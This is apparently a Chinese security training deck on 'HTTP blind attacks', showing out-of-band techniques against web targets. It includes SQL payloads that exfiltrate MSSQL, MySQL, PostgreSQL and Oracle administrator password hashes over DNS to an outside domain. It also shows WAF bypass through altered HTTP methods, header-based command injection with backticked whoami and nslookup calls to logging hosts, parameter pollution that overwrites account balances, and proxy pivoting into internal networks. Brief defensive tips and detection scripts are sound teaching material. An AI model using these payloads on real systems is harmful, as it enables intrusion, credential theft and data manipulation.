

# HTTP 盲攻击的几种思路

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# 0x00前言

攻方：

传统漏洞越来越难挖

大型企业暴露的漏洞越来越少

对于目标站点没有任何思路

守方：

我有WAF还是被黑了

我不对公网开放还是被搞了

我天天内部整改漏洞还是被通报漏洞

# 0x01概要

1. HTTP 盲攻击是什么
2. 为什么需要HTTP 盲攻击
3. HTTP 盲攻击可能发生的场景
4. HTTP盲攻击的总体利用思路与检测实现思路

# HTTP 盲攻击是什么 *Blind Attack , Blind Inject Everything*

Blind SqlInject (Normal , pass)

Blind BypassWaf ( Normal , easy , let's try )

Blind Redirect(abnormal, luck is very important)

Blind CommandInject (how to inject , just don't care)

Blind PostParam (give you more, you accept it)

Blind SSRF ( bind local interface and no valid response )

Blind Xss Injection (automatic submit,can not related to request)

Blind LDAP Injection (maybe you are using ldap)

Blind xxe ( reverse connect you and get xml parse )

Blind everything everywhere ==> fuzzing...

# HTTP 盲攻击是什么 *Blind Attack , Blind Inject Everything*

HTTP盲攻击，凡是**不直接**使用传统的HTTP Request、HTTP Response中的**已有数据**进行的漏洞挖掘与分析的攻击方式，都可以称为HTTP 盲攻击。

该攻击适用于一切难以发现传统意义漏洞的系统，也可用于对目标没有任何了解却希望快速发现高危漏洞，同时**不必关心直接目标到底存不存在漏洞**的一种攻击方式。

在特定情况下可以配合利用OOB方法为基础突破口可进行检测和利用漏洞的攻击方式。

课程目标：本次课程将会介绍哪些场景可以进行HTTP Blind Attack，并尽量进行初步的分类，来说明一些复杂网络环境下可能存在的安全漏洞。

## 0x02 为什么需要Blind Attack

1. 传统攻击方式已经没有漏洞可挖
2. 复杂网络环境下的分析系统和监控系统存在安全漏洞无法有效发现

## 0x02 Blind Attack Startup

1. Blind SqlInject (Nothing to say)
2. Blind Web Application Firewall bypass 绕过防护系统 ( 变更HTTP请求方法 )
3. Blind Redirect Analysis System 诱骗分析/缓存系统 ( 变更HTTP请求URI )
4. Blind CommandInject 【检测】 不如都来带外数据通道 ( OOB )
5. Blind Outer to Internal System 由外到内
6. 【检测】 手工太麻烦使用自动插件 ( OOB )
7. Blind PostParam 调用隐藏方法 ( 增加或变更HTTP请求参数 )
8. 寻找根源 ( 大数据寻找源IP/新域名 )

# 1. 数据获取（经典的SQL注入利用）

问题：目标存在注入，无法回显数据

解决：利用DNS或HTTP请求获取数据

目标：在无法回显的情况下获取有价值的数据信息

防护：限制非法的外联，包括DNS的解析



# Blind SqlInject Retrieve Data (OOB)

## MSSQL

```
DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa') + '.s.livesina.com'; EXEC('master..xp_dirtree "\\'+@host+'\\foobar$');
```

## MYSQL

```
SELECT LOAD_FILE(CONCAT('\\\\\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT
1),'s.livesina.com\\\\abc'));
```

## PostgreSQL:

```
DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION
temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT
INTO query_result (SELECT passwd FROM pg_shadow WHERE username='postgres'); exec_cmd := E'COPY
table_output(content) FROM E'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\|query_result||E'.s.livesina.com\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\foobar.txt\\'; EXECUTE exec_cmd; END;
$$ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();
```

# Blind SqlInject Retrieve Data (OOB)

## Oracle:

Example1:

```
SELECT UTL_INADDR.GET_HOST_ADDRESS('test.y.s.livesina.com');
```

Example2:

```
SELECT UTL_HTTP.REQUEST('http://test.y.livesina.com/test') FROM DUAL;
```

Example3:

```
SELECT UTL_HTTP.REQUEST('http://test.y.livesina.com/test') FROM DUAL;
```

Example4:

```
SELECT HTTPURITYPE('http://test.y.livesina.com/test').GETCLOB() FROM DUAL;
```

Example5:

```
SELECT DBMS_LDAP.INIT('test.s.livesina.com',80) FROM DUAL;
```

Example6:

```
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE  
name='SYS')||'.s.livesina.com',80) FROM DUAL;
```

## 2. 绕过防护系统（变更HTTP请求方式）

问题：目标存在WAF，无法SQL注入，无法命令注入

解决：变更HTTP请求方法，WAF只处理GET、POST规则，其他自动放行。

代理服务器存在方法默认映射，不认识的方法映射为GET

目标：完成SQL注入、命令执行等

防护：更新WAF机制

# Blind Web Application Firewall bypass 1

**GET** /test?id=123 HTTP/1.1 → **LOL** /test?id=123 HTTP/1.1 (当然可以尝试其他字符串)

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8


Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br


Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

当把HTTP请求方法改成LOL时，再试一下。



返回200，没有拦截，看一下读到的数据。



# Blind Web Application Firewall bypass 2

POST /test HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

*c=d*

# Blind Web Application Firewall bypass 2

```
POST /test.php HTTP/1.1
Host: target.com
Content-Length: 297
Pragma: no-cache
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=-----1004104974
...
Cookie: a=b
Connection: close

-----1004104974
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream

-----1004104974
Content-Disposition: form-data; name="c"

d
-----1004104974
Content-Disposition: form-data; name="submit"

Submit
-----1004104974--
```

# Blind Web Application Firewall bypass

脚本检测方式：

1> 变更请求方式，对比返回差异

\*2> 发送Payload触发Waf拦截，对比变更请求方法前后的差异

判据：

1> 返回内容不属于黑名单内容

2> 返回内容在变更方法前后保持一致

黑名单：

设置返回黑名单，如403、405或特征字符串



### 3. 诱骗分析/缓存系统（变更HTTP请求URI）

问题：没有思路

解决：变更HTTP请求URI，目标处理产生异常，分析异常找到攻击思路

目标：触发异常，分析攻击思路

# Blind Redirect Analysis System 1 ( Change URI 1 )

GET */test* HTTP/1.1 → GET *test.randkey.yourloggingdomain.com* HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

# Blind Redirect Analysis System 1 ( Change URI 2 )

GET */test* HTTP/1.1 → GET *@test.randkey.yourloggingdomain.com* HTTP/1.1  
Host: sina.cn  
Connection: close  
Cache-Control: max-age=0  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8  
Referer: https://sina.cn/  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2  
Cookie: a=b

# Blind Redirect Analysis System 1 ( Change URI 2 )

GET */test* HTTP/1.1 → GET *http://test.randkey.yourloggingdomain.com* HTTP/1.1  
Host: sina.cn  
Connection: close  
Cache-Control: max-age=0  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8  
Referer: https://sina.cn/  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2  
Cookie: a=b

# Blind Redirect Analysis System 1

得到的请求

Why this request ?

```
请求时间:
2017-09-08 06:08:52
客户端IP:
118.142.8.19:44624
Host:
xxx.dockers.pentesterlab.cntest.3343037a.userdomain.testeeyee.com
请求方法:
GET
请求路径:
/testdomain/
POSTDATA:
null
User-Agent:
Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X AppleWebKit/600.1.4 (KHTML, like
4.4.2; SCH-I959 Build/KOT49H AppleWebKit/537.36 (KHTML,like Gecko Version/4.0 Chrome
NetType/WIFI)
Cookies:
UserCookie
Referer:
https://referer.test.dockers.pentesterlab.cn/
```

不合理的URL拼接

发生后我们才知道的漏洞

# Blind Redirect Caching System 2

Normal Request

GET /test HTTP/1.1

Host: sina.cn → *sina.cn@test.randkey.yourloggingdomain.com*

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

# Blind Redirect Caching System 2

Normal Request

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

<html>

.....



.....

</html>

# Blind Redirect Caching System 2

*From xss to internal sensitive information leak*

[Step1]Attack Request: (Request to 123.123.123.123)  
POST /xss.cgi HTTP/1.1  
ContentLength: 62  
Connection: close

*xss=*

[Step2]Caching Request:(Request to 10.10.1.12)  
GET /index.php/fake.jpg  
Host: internalserver.com (internalserver.com → 10.10.1.12)  
Connection: close

[Step3]Attack Request: (Request to 123.123.123.123)  
GET /index.php/fake.jpg  
Host: internalserver.com  
Connection: close

*Now you get index.php → Sensitive Information Leak*



# Blind Redirect 检测

脚本检测方式：

- 1> 分别发送xss payload，带入dnslog域名和httplog1域名
- 2> http域名内返回的网页内容，嵌入httplog2域名并返回图片

判据：

- 1> dnslog或httplog1被触发，说明页面会被分析
- 2> httplog2触发，说明httplog1返回的内容会被解析，很有可能存在一个可以利用的cache系统

## 4. 命令注入 (OOB)

不如都来OOB

所有正常存在主机名解析的地方

所有存在漏洞导致主机名解析的地方

所有能插入东西的地方

所有本来没有东西的地方

所有地方...

# Blind CommandInject ( Change Many Things )

GET /test HTTP/1.1

Host: sina.cn → *sina.cn@test.randkey.yourloggingdomain.com*

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

# Blind CommandInject ( Change Many Things )

GET /test HTTP/1.1

Host: sina.cn → *sina.cn.test.randkey.yourloggingdomain.com*

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

# Blind CommandInject ( Change Many Things )

GET /test HTTP/1.1

Host: sina.cn → *sina.cn.`whoami`.test.randkey.yourloggingdomain.com*

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

# Blind CommandInject ( Change Many Things )

GET /test HTTP/1.1

Host: sina.cn ➔

*sina.cn.`nslookup randkey2.yourloggingdomain.com`.test.randkey.yourloggingdomain.com*

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

# Blind CommandInject ( Change Many Things )

```
GET / HTTP/1.1
Host: sina.cn → `whoami`.randkey.youlogdomain.com
Connection: close
Cache-Control: no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
Safari/537.36 root@randkey.youlogdomain.com
Cookie: a=b
True-Client-IP: `whoami`.randkey.youlogdomain.com
Forwarded:
  for=`whoami`.gg0qyju6tkxhwh1nyc6pazh6mxs1ggq.burpcollaborator.net;by=`whoami`.gg0qyju6tkxhwh1nyc6pazh6m
  xs1ggq.burpcollaborator.net;host=`whoami`.randkey.youlogdomain.com
From: root@randkey.youlogdomain.com
X-Real-IP: `whoami`.randkey.youlogdomain.com
X-Wap-Profile: http://randkey.youlogdomain.com/wap.xml
Client-IP: `whoami`.randkey.youlogdomain.com
Referer: http://randkey.youlogdomain.com/ref
X-Forwarded-For: `whoami`.randkey.youlogdomain.com
Contact: root@randkey.youlogdomain.com
X-Client-IP: `whoami`.randkey.youlogdomain.com
X-Originating-IP: `whoami`.randkey.youlogdomain.com
Proxy: `whoami`.randkey.youlogdomain.com
...
```

# Blind CommandInject ( Change Many Things )

GET / HTTP/1.1

Host: sina.cn → *sina.cn.`nslookup randkey2.yourloggingdomain.com`.randkey.youlogdomain.com*

Connection: close

Cache-Control: no-transform

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87  
Safari/537.36 *root@randkey.youlogdomain.com*

Cookie: a=b

*True-Client-IP: `nslookup randkey2.yourloggingdomain.com`.randkey.youlogdomain.com*

*Forwarded: for=`nslookup randkey2.yourloggingdomain.com`. randkey.youlogdomain.com*

*;by=`nslookup randkey2.yourloggingdomain.com`. randkey.youlogdomain.com*

*;host=`nslookup randkey2.yourloggingdomain.com`.randkey.youlogdomain.com*

*From: root@randkey.youlogdomain.com*

*X-Real-IP: `nslookup randkey2.yourloggingdomain.com`.randkey.youlogdomain.com*

*X-Wap-Profile: http://randkey.youlogdomain.com/wap.xml*

*Client-IP: `nslookup randkey2.yourloggingdomain.com`.randkey.youlogdomain.com*

*Referer: http://randkey.youlogdomain.com/ref*

*X-Forwarded-For: `nslookup randkey2.yourloggingdomain.com`.randkey.youlogdomain.com*

*Contact: root@randkey.youlogdomain.com*

*X-Client-IP: `nslookup randkey2.yourloggingdomain.com`.randkey.youlogdomain.com*

*X-Originating-IP: `nslookup randkey2.yourloggingdomain.com`.randkey.youlogdomain.com*

*Proxy: nslookup randkey2.yourloggingdomain.com`.randkey.youlogdomain.com*

...



## 5. 调用隐藏方法（增加或变更HTTP请求参数）

在没有接收相应参数的地方增加参数或变更参数（参数污染）

- 1> 隐藏的方法、接口或可选参数
- 2> 数据自动绑定覆盖

目标：

- 1> 调用私有接口或方法，或传入可选参数改变程序行为
- 2> 覆盖用户数据，导致数据非法或进行精准数据操纵

参数来源：返回包参数或目标站点所有参数或常见参数

# 案例：找回密码处可接收可选参数mobile

找回密码处未传送手机号码，却可以接收可选参数mobile

# 案例：理财网站余额可被任意覆盖修改

任意覆盖数据，可用来覆盖系统账户信息，如姓名、身份证、余额等

```
HTTP/1.1 200 OK
Date: Wed, 17 May 2017 03:29:07 GMT
Content-Type: application/json; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Access-Control-Allow-Origin: [REDACTED]
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTION, POST, GET
Access-Control-Allow-Headers: X-Requested-With, Content-Type
X-Cache: bypass
Content-Length: 329
```

```
{"version": "3.7.2", "code": "000", "msg": "成功", "tokenId": "7D[REDACTED]4", "channel": "",
Name": "sss", "recipTel": "sss", "detailAddress": "null@sssss", "addressStatus": "1", "jd_balance": "100.00"}
```

## 6. Blind Attack由外到内

寻找进入内网的突破口


目标：

- 1> 访问内网站点
- 2> 攻击内网系统

方法：

- 1> HTTP代理
- 2> 实现不当的负载均衡
- 3> 配置不当的虚拟主机

# 实现不当的Proxy



# HTTP Blind Attack 5

GET /test HTTP/1.1

Host: sina.cn → *internal.sina.cn*

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_12\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

# HTTP Blind Attack 5

CONNECT sina.cn:80 HTTP/1.1

Host: sina.cn

Proxy-Connection: keep-alive

支持HTTPS代理方式进行TCP连接

发送一个正常POST请求头，然后后面跟上其他协议

REDIS/Memcache...

Struts2

# HTTP Blind Attack 5 (How to get domain/ip)

- 1> 子域名探测内网域名，包括目标主域名，目标常用内网域名
- 2> 解析到内网的域名绑定到外网IP地址进行探测
- 3> 根据IP默认返回内容和绑定域名后的返回内容进行匹配识别
- 4> 生成结果后进行筛选



## 6. 寻找根源（大数据寻找源IP/新域名）

默认虚拟主机的证书

IDC SNI域名嗅探

censys.io

## 源IP的查找：

443.https.tls.certificate.parsed.extensions.subject\_alt\_name.dns\_names:www.219.me

<https://censys.io>

443.https.tls.certificate.parsed.extensions.subject\_alt\_name.dns\_names:www.219.me

https证书

IPv4 Hosts

Top Million Websites

Certificates

Tools ▾

Help

103.44.28.61

AS-AP Cloudie Limited (55933) Central District, Hong Kong

443/https, 80/http

Apache HTTP Server Test Page powered by CentOS 219.me, www.219.me

443.https.tls.certificate.parsed.extensions.subject\_alt\_name.dns\_names: www.219.me

443.https.tls.certificate.parsed.names: www.219.me

http https

# 自动探测插件 (OOB)

使用Burpsuit插件自动帮你完成请求发送和检测

支持自定义发送规则

```
1  # Lines starting with # are ignored
2  #param,u,http://%/
3  #param,href,http://%/
4  #param,action,http://%/
5  #param,host,%s
6  #param,http_host,%s
7  #param,email,root@%s
8  #param,url,http://%/
9  #param,load,http://%/
10 #param,preview,http://%/
11 #param,target,http://%/
12 #param,proxy,http://%/
13 #param,from,http://%/
14 #param,src,http://%/
15 #param,ref,http://%/
16 #param,referrer,http://%/
17 # %h is replaced with corresponding Host header
18 # Useful in cases like Host, Origin, etc.
19 #header,Host,%s:8000%h
20 header>Contact,root@%s
21 header,From,root@%s
22 header>User-Agent,Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.288
23 header,Referer,http://%/ref
24 #header,X-Original-URL,http://%/
```

# Collaborator everywhere(Burpsuit Plugin)

现有工具 : collaborator-everywhere (<https://github.com/PortSwigger/collaborator-everywhere>)  
Rules:<https://github.com/PortSwigger/collaborator-everywhere/blob/master/resources/injections>

Cache-Control	no-transform
Contact	root@qqk44hf45ab1ky4in0jwgmwjcai69uy.burpcollaborator.net
X-Originating-IP	spoofed.yxzcbpmccii9r6bqu8q4nu3rjipeh26.burpcollaborator.net
X-Real-IP	spoofed.nvm19ek1a7gypv9fsxotlj1gh7n3gr5.burpcollaborator.net
X-Forwarded-For	spoofed.muk08dj096fxou8erwnski0fg6m2gq5.burpcollaborator.net
True-Client-IP	spoofed.ojb2xf82y84zdwxxggycu9kph58b46sv.burpcollaborator.net
X-Wap-Profile	http://bixpw27pxv3mcjw3flbh87o44var6fv.burpcollaborator.net/wap.xml
X-Client-IP	spoofed.en5s15cs2y8phm16kogkdat79yfuci1.burpcollaborator.net
From	root@7t1l7yil8rein7zqhmdj3z0frlnjb8.burpcollaborator.net
Referer	http://jd0xra2xs3yu7rrbat6p3fjcz35z4nt.burpcollaborator.net/ref
Forwarded	for=spoofed.wuua8nja9gf7o48or6n2ks0pggmcm0b.burpcollaborator.net;by=spoofed.wuua8nja9gf7o48or6n2
Client-IP	spoofed.rfa5ti45ub029ztjc18x5nlk1b779vy.burpcollaborator.net

Payload is not very well

# Payload Is Very Important

```
`nslookup randkey1.a.0.yourdomain.pub  
>/dev/null;whoami`.randkey2.a.0.yourdomain.pub
```

接收时间	域名(数据)	请求地址	查看详情/删除
2017-09-21 00:28:51	root.randkey2.a.0.yourdomain.pub.	214.156.3.121:3342	<a href="#">查看详情</a> <a href="#">删除</a>
2017-09-21 00:28:43	randkey1.a.0.yourdomain.pub.	214.156.3.121:28398	<a href="#">查看详情</a> <a href="#">删除</a>

“Collaborator everywhere” is not enough, we need good payload

# 重要的主机头Cache-Control

Cache-Control: no-transform

让请求能够更容易原封不动的到达原始服务器

No transformations or conversions should be made to the resource. The Content-Encoding, Content-Range, Content-Type headers must not be modified by a proxy. A non-transparent proxy might, for example, convert between image formats in order to save cache space or to reduce the amount of traffic on a slow link. The no-transform directive disallows this.

# HTTP 盲攻击的几种思路

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